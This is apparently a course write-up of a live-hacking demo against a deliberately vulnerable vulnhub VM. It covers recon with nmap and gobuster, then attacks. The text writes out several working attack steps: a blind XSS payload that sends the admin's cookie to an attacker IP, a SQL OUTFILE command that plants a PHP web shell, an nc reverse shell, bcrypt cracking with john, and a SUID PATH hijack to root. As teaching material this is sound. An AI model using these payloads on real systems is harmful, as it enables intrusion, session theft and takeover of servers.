How are vulnerabilities exploited to compromise a system?

This article is a recap of the “Live Hack” presentation, held in the lecture “Sichere Systeme” in SS 2020. It will introduce different vulnerabilities like XSS and SQL-Injection and shows how passwords can be cracked under certain circumstances. The last step explains how a SUID binary was exploited to gain root access on the target system.

Introduction

The Goal of the Live Hack presentation was to show how different vulnerabilities can be exploited to compromise a system with the ultimate goal to gain root privileged access. For that, a suitable VM from vulnhub.com was selected. Vulnhub is a website that provides materials for users to gain “hands-on” experience in the field of cyber security. The VM “Credit Card Scammers: 1” was chosen for its realistic and interesting vulnerabilities. The presentation was structured with an agenda inspired by the Cyber Kill Chain and explained different stages of a cyber attack with practical “hands-on” examples on the target VM. The stages used were:

• Recon
• Weaponization
• Deliver
• Exploitation
• Privilege Escalation

The Privilege Escalation again includes Recon, Weaponization, Deliver and Exploitation stages.

Recon

The mission in the first stage was to get as much information about the target as possible. This information can then later be used to identify vulnerabilities which might be used to get the first access on the system. Gathering information is not only limited to technical information like IP addresses, open ports, domain names, etc. . In a real world scenario valuable information also includes information about employees which could be found on social media among other things. As the scope of this target was a single VM with one IP address, the first thing done was a scan with the network tool Nmap that can be used to discover open Ports, the target operation system and much more. The below result of the command has been shortend to only show important that is important in this case.

# nmap -sS -sV -O -p- -oN nmap_result.txt <victim-ip><br> 22 tcp open ssh OpenSSH 8.0 (protocol 2.0)<br> 80/tcp open http Apache httpd 2.4.37 ((centos))<br> Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux
3.2 - 4.9 (96%), ...<br> 1 IP address (1 host up) scanned in 237.94 seconds

Command options:
-sS TCP SYN-Scan
-sV tries to gather information about services running on open ports
-O enable OS detection
-p- scan all ports
-oN output scan in normal text to file.

The output shows two running services on port 22 and 80 which were identified by Nmap to be SSH and an Apache webserver. With this information we browsed the webserver and we discovered a website running a little shop, where we continue gathering information. To discover files / URLs accessible on a server, tools like Dirbuster or Gobuster can be used. They both take a wordlist for a bruteforce approach. With Gobuster we discovered an interesting /_admin/ directory where we could find a login page. As we have no valid credentials, we could not get any further yet.

Command options:
dir do a directory scan
-u specifies url
-w specifies the wordlist

We continued to browse the website and found a checkout page where users must input their information to complete an order. User inputs of any kind are generally an interesting point in an application as they might be abused by attackers. We found out that the inputs are vulnerable to blind XSS attacks.

To find the blind XSS vector, we used the payload

<script>var img = document.createElement('img'); img.src='http://<attacker-ip>/';document.body.appendChild(img);</script>

in one of the input fields and started a simple listener on our Host machine:

# python -m SimpleHTTPServer 80

The payload queries an image from our server and when the browser tries to load it, we see an incoming request at our python server logs.

Weaponization, Deliver and Exploitation

We found enough information in our previouse stage and are ready to exploit the XSS Vulnerability we found. For that we created a new payload which tries to read the cookies from the user and send those to our python server inside the url:

<script>var img = document.createElement('img'); img.src='http://<attacker-ip>/'+document.cookie;document.body.appendChild(img);</script>

As the blind XSS payload got triggered our python server showed the following output:

10.0.2.13 - - [10/Sep/2020 14:05:28] code 404, message File not found<br>10.0.2.13 - - [10/Sep/2020 14:05:28] "GET /PHPSESSID=kissbhk54cu30ipa2c0l7k1ch6 HTTP/1.1" 404 -

The requested URL contains a PHP session cookie!

Next we added the cookie in our browser for the website we found on the target VM and again browsed the /_admin/ section. This time we were redirected to an admin panel and not asked to provide a username and password. This is because we have a valid session cookie which we stole from the user who browsed a site that triggered our XSS payload. The admin panel showed all orders including our order which includes our XSS payload. An admin must have checked the orders and in the background the browser executed our payload that sent us the admin’s cookie. Our next step is again to gather information to find a way to escalate our privileges.

SQL-Injection

Within the admin panel we found a functionality that allows to execute SQL Statements. As it was intendet to insert SQL, it is not really a SQL-Injection but its quite similar. It’s description was: “This page allows you to execute SQL commands for deleting and archiving data.” As SQL can be used to write files to the machine and the description said something about archiving data, our next try was to create a file on the server. For that we used the following SQL Command:

SELECT "test" INTO OUTFILE '/var/www/html/test.php'

If successful, the command creates a file named “test” in the /var/www/html/ directory. We have chosend /var/www/html as the directory as it is the default webroot for apache servers. After we run the command we browsed to the file and saw that it worked as we saw the response “test” in the browser. We now ready to prepare a new payload, deliver it and exploit the functionality. As we know the server is running PHP we created a PHP script that lets us execute system commands on the target.

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'

The PHP script will extract the GET parameter cmd and execute its value as a system command. With that we already have shell access on the server but it is limited to the privileges of the user (www) that runs the webserver and it is cumbersome to execute commands via the browser. Because of that we entered a command that opens a reverse shell for us. For that we used the command line tool nc. The -e option lets us start a bash process and relays its input and output to the connected peer.

# nc 192.168.100.113 4444 –e /bin/bash

Before running that commend we started a listener that than can use the bash programm over the nc connection:

# nc -lvnp 4444

As no request was received by our listener, we guessed that a firewall might block uncommon ports and switched from port 4444 to port 53 which is used for DNS queries. With the new port our listener could receive the request and we now had a shell on the target machine.

Password extraction and cracking

Next we again needed to do some information gathering to find the next attack vector. As we used a SQL-Injection previously, it might be interesting to read the content of the tables as we might be able to extract important information. As the mysql command needed a password for authentication we took a closer look around the webserver files and found a configuration file that was used by the PHP application to connect to the database. As we now had username and password we could inspect all tables. We decided to take a closer look into the user table and found usernames and hashed passwords. As one username (moneygrabber) was the same as a user on the target machine, we next tried to crack his password hash as the user might use the same password. For that we first checked the hash type:

# cat hash.txt | hashid<br>[+] Blowfish(OpenBSD)<br>[+] Woltlab Burning Board 4.x<br>[+] bcrypt

which showed that it probably was a bcrypt hash. If the user uses a weak password we might still be able to crack it. For that we used john and a preselected wordlist.

# john -format=bcrypt --wordlist=./wordlist.txt ./hash.txt

The command line tool john bruteforces all passwords of the wordlist and found the password to be “delta1”. Note that this was only possible because the user used a weak password which was included in our wordlist. Next we tried to switch to the user moneygrabber with the given password which worked! To have proper shell access we used the SSH service to get our next shell on the server. (user moneygrabber and password delta1). Now we were in the final recon phase and needed to find another way to escalate our privileges again.

SUID Exploitation

After lookig for ways to exploit our privileges we found a SUID binary which runs as root and could be executed by our user. To find all SUID binaries owned by root on a system, the following command can be used:

# find / -user root -perm -4000 -exec ls -ldb {} \; > /tmp/suids

This command finds all root owned SUID binaries and writes them to the output file /tmp/suids. In the listed binaries we found a suspiciouse binary /usr/bin/backup, which seems to create some backups. For further investigation we inspected to binary with the strings command to extract all human readable strings:

# strings /usr/bin/backup

the output showed many strings and contained: /home/moneygrabber/backup.sh. It seems like the binary calls that script. Unfortunatly we do not have write privileges on that script so we cant modify it to execute our code. The script contained the following:

# cat /home/moneygrabber/backup.sh<br> !/bin/bash<br> tar -cf mysql.tar /var/lib/mysql<br> sleep 30

Interesting is the fact, that the script executes the tar command, but does not specify the full file path to it. As when we execute the suid binary, our PATH variables are used, we can create an own tar script, add it to the PATH variable so that it gets found before the real tar command and then the SUID binary should execute our script. The script we created only executed bash to open a new shell session. Next we need to add /home/moneygrabber at the beginning of the PATH variable as this was the location of our script.

# export PATH="/home/moneygrabber:$PATH"

When we now run the SUID binary it executes the backup.sh script which executes our tar script that opens a new shell session. That shell session runs as user root as it was opened by the SUID binary. With that we successfuly gained root privileges on the server!